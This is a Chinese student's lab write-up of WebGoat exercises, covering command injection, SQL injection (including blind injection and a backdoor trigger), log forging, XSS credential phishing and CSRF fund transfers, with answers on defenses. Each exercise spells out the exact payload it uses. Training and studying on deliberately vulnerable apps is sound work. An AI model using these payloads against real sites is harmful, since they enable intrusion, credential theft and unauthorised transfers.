2019-2020-2 20174319 安睿韬《网络对抗技术》Exp9 Web安全基础

目录

一、实验内容

二、老师提问

  • SQL注入攻击原理,如何防御
  • XSS攻击的原理,如何防御
  • CSRF攻击原理,如何防御

三、实验感想


 一、实验内容

  • WebGoat安装

    • WebGoat默认使用8080端口,开启前先查看端口是否被占用: netstat -tupln | grep 8080

    • 在有该文件的在命令行输入 java -jar webgoat-container-7.0.1-war-exec.jar 开启WebGoat

    • 运行一段时间之后命令行出现Starting ProtocolHandler说明成功
    • 开启后需要检查自己是否安装了Tomcat,以及JDK版本是否是1.8,附上链接jdk1-8,和教学链接
    • 浏览器中输入http://localhost:8080/WebGoat 进入WebGoat登录界面
    • 直接用默认用户名密码登录即可

    •  左侧有教程

返回目录


  • SQL注入攻击

    • 命令注入(Command Injection)

      • 原理:在正常的参数提交过程中添加恶意代码以执行某条指令。

      • 目标:可以在目标主机上执行任何系统命令
      • 右键点击,选择 inspect Element 审查网页元素
      • 选择 Edit As HTML 对网页源代码进行修改
      • 找到选项 AccessControlMatrix.help ,在末尾注入 "& netstat -an & ipconfig"

      • 点击 view开始攻击,可以看到执行指令后的网络端口使用情况和IP地址,攻击成功

 

返回目录


    • 数字型注入

      • 原理:在station字段中注入特征字符,组合成新的SQL语句。 如:SELECT * FROM weather_data WHERE station = [station]

      • 目标:该例子通过注入SQL字符串查看所有的天气数据。

      • 右键地名,选择 inspect Element 审查网页元素,对源代码进行修改,在Value值中添加 or 1=1

      • 显示所有城市的天气情况,攻击成功

返回目录


    • 日志欺骗

      • 原理:在日志文件中愚弄人的眼睛,攻击者可以利用这种方式清除他们在日志中的痕迹

      • 目标:灰色区域代表在 Web 服务器的日志中的记录的内容,我们的目的是使用户名为“admin”的用户在日志中显示“成功登录”

      • 利用入回车(%0D)和换行符(%0A),在 username 中填入 webgoat%0d%0aLogin Succeeded for username: art20174319

 

      • 点击Login可以看到webgoat Login Fail,自己添加的art20174319 Login Succeeded

返回目录


    • 字符串型SQL注入

      • 原理:通过注入字符串绕过认证
      • 由于网页的html代码中,给密码框限定了最大长度为8,限制了SQL注入。因此将其长度修改至20,以用户Neville(admit)登录,输入密码 4319' or '1' = '1

      • 以用户Neville登录,以永真式的形式输入密码 4319' or 1=1 -- ,这一次成功登陆了,并且获得了所有人员的名单

 

返回目录


    • LAB: SQL Injection

      • 目标:使用SQL注入绕过认证
      • 输入密码' or 1=1 --登录失败,结果只有部分输入说明密码长度有限制
      • 审查网页元素对源代码maxlength进行修改后重新登录成功

返回目录


    • Database Backdoors

      • 输入用户ID101得到该用户信息,没有验证语句容易进行SQL注入

      • 输入用户ID两个语句101; update employee set salary=10000使用;分隔

      • 输入用户ID101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='john@hackme.com' WHERE userid = NEW.userid

返回目录


    • Blind Numeric SQL Injection

      • 使用AND函数添加一些额外的查询条件,若同为真则返回结果应提示帐号有效,否则无效
      • 输入101 AND 1=1,条件都成立页面返回Account number is valid

 

      • 输入101 AND 1=2,返回Invalid account number

      • 针对查询语句的后半部分构造复杂语句,如: 101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 5000 )如果提示无效,则pin值小于5000,使用二分法,最终得出pin的值为2364

返回目录


    • Blind String SQL Injection(字符串型盲注入)

      • 原理:与数字型盲注入类似,某些 SQL 注入是没有明确返回信息的,只能通过条件的“真”和“假”进行判断。攻击者必须充分利用查询语句,构造子查询语。
      • 目标:找到 pins 表中 cc_number 字段值为 4321432143214321 的记录中 pin 字段的数值。pin 字段类型为 varchar。输入找到的数值(最终的字符串,注意拼写和大写)并提交,通过本题目。
      • 与数字型盲注入类似,只是将注入的数字换为字符串而已
      • 例如:输入 101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 1, 1) < 'K' ) 取得 pin 字段数值的第一个字母,并判断其是否比字母“K”小
      • 同样使用二分法进行测试,最后得到pin字段为 Jill

返回目录


  • XSS攻击

    • Phishing with XSS 跨站脚本钓鱼攻击

        • 跨站脚本攻击是通过HTML注入劫持用户的浏览器,任意构造用户当前浏览的HTML内容,可以模拟用户当前的操作。这里实验的是一种获取用户名和密码的攻击.
      • 原理:当用户输入非法HTTP响应时容易受到XSS攻击。在XSS的帮助下,可以实现钓鱼工具或向某些官方页面中增加内容。对于受害者来说很难发现该内容是否存在威胁。

      •  在webgoat找到Cross-Site Scripting (xss)攻击打开第一个——Phishing with XSS

      • 在搜索框输入如下代码,页面增加一个表单
      • </form><script>function hack(){ XSSImage=new Image; XSSImage.src="http://localhost/WebGoat/catcher?PROPERTY=yes&user="+ document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + "Password = " + document.phish.pass.value);} </script><form name="phish"><br><br><HR><H3>This feature requires account login:</H3 ><br><br>Enter Username:<br><input type="text" name="user"><br>Enter Password:<br><input type="password" name = "pass"><br><input type="submit" name="login" value="login" onclick="hack()"></form><br><br><HR>
      • 输入用户名和密码,读取在表单上输入的用户名和密码信息并发送给捕获这些信息的WebGoat

 

返回目录


    • Stored XSS Attacks
      • 存储型XSS攻击,通过输入代码使用户访问时弹出非预期的内容。
      • 目标 :常见于论坛等留言、用户留言创建非法的消息内容,输入JavaScript脚本保存在数据库中,任何用户在打开网页的时候,脚本从数据库中取出来而运行,导致其他用户访问非预期的页面或内容
      • 在留言板输入<script>alert("20175314 attack succeed Shazam!");</script>后点击Submit攻击成功

 

返回目录


 

    • Reflected XSS Attacks

      • 目标 通过使用攻击脚本创建一个URL,并将其发布到另一个网站,通过电子邮件引诱用户点击实现攻击
      • 序列码输入<script>alert(" 20174319art");</script>后点击Submit,显示内容为script脚本指定的警告框

返回目录


  • CSRF攻击

    • Cross Site Request Forgery(CSRF)

      • 目标 :向一个新闻组发送一封包含图像的邮件,图像的URL指向一个恶意请求
      • 查看确定Parameters中的scrmenu

 

      • 在title中输入任何参数,message框中输入<img src="http://localhost:8080/WebGoat/attack?Screen=324&menu=900&transferFunds=5000" width="1" height="1" />,以图片的的形式将URL放进Message框,这时的URL对其他用户是不可见的,用户一旦点击图片,就会触发一个CSRF事件,点击Submit提交

      • 在Message List中生成以Title命名的链接(消息)。点击该消息,当前页面就会下载这个消息并显示出来,转走用户的5000元,从而达到CSRF攻击的目的。

返回目录


    • CSRF Prompt By-Pass

      • 在消息栏中输入
        <iframe src="attack?Screen=285&menu=900&transferFunds=5000"> </iframe>
        <iframe src="attack?Screen=368&menu=900&transferFunds=CONFIRM"> </iframe>
        
      • 点击Submit生成以Title命名的链接,点击链接攻击成功

返回目录


二、老师提问

  • SQL注入攻击原理,如何防御
    • 原理 Web应用对后台数据库查询语句处理存在的安全漏洞。即输入字符串中嵌入SQL指令,设计程序中忽略对可能构成攻击的特殊字符串的检查。后台数据库将其认作正常SQL指令后正常执行,可能实现对后台数据库进行各种操作,甚至造成破坏后台数据库等严重后果;
    • 防御手段 禁止提交含有特殊字符的字符串,普通用户与系统管理员用户的权限要有严格的区分,加密数据库中的内容等。
  • XSS攻击的原理,如何防御
      • 原理 利用站点内的信任用户在网站任何接受正常文本输入的地方,输入Javascript脚本,并让脚本执行;
      • 防御手段 表单提交的时候进行特殊字符的检测;对输入框做长度限制;在后台对数据进行过滤等。
  • CSRF攻击原理,如何防御
    • 原理 通过伪装来自受信任用户的请求来利用受信任的网站(钓鱼网站);
    • 防御手段 每一个重要的post提交页面必须使用验证码;网页包含web server产生的token, 提交时也将该token提交到服务器,服务器进行判断,如果token不对就判定为CSRF攻击;定期清理不使用的cookie。

返回目录


 三、实验感想

  • 这次实验做的很顺利,通过本次实验,学习了注入攻击和XSS攻击、CSRF攻击,了解了这些攻击的原理,进行了简单的尝试,感觉虽然没有学得很深入,但是很好地拓宽了知识面

返回目录

posted @ 2020-05-22 18:45  20174319安睿韬  阅读(164)  评论(0编辑  收藏
锚点链接 跳转一 跳转二
我是占位的块
我是跳转一跳到的位置
我是跳转二跳到的位置
我是占位的块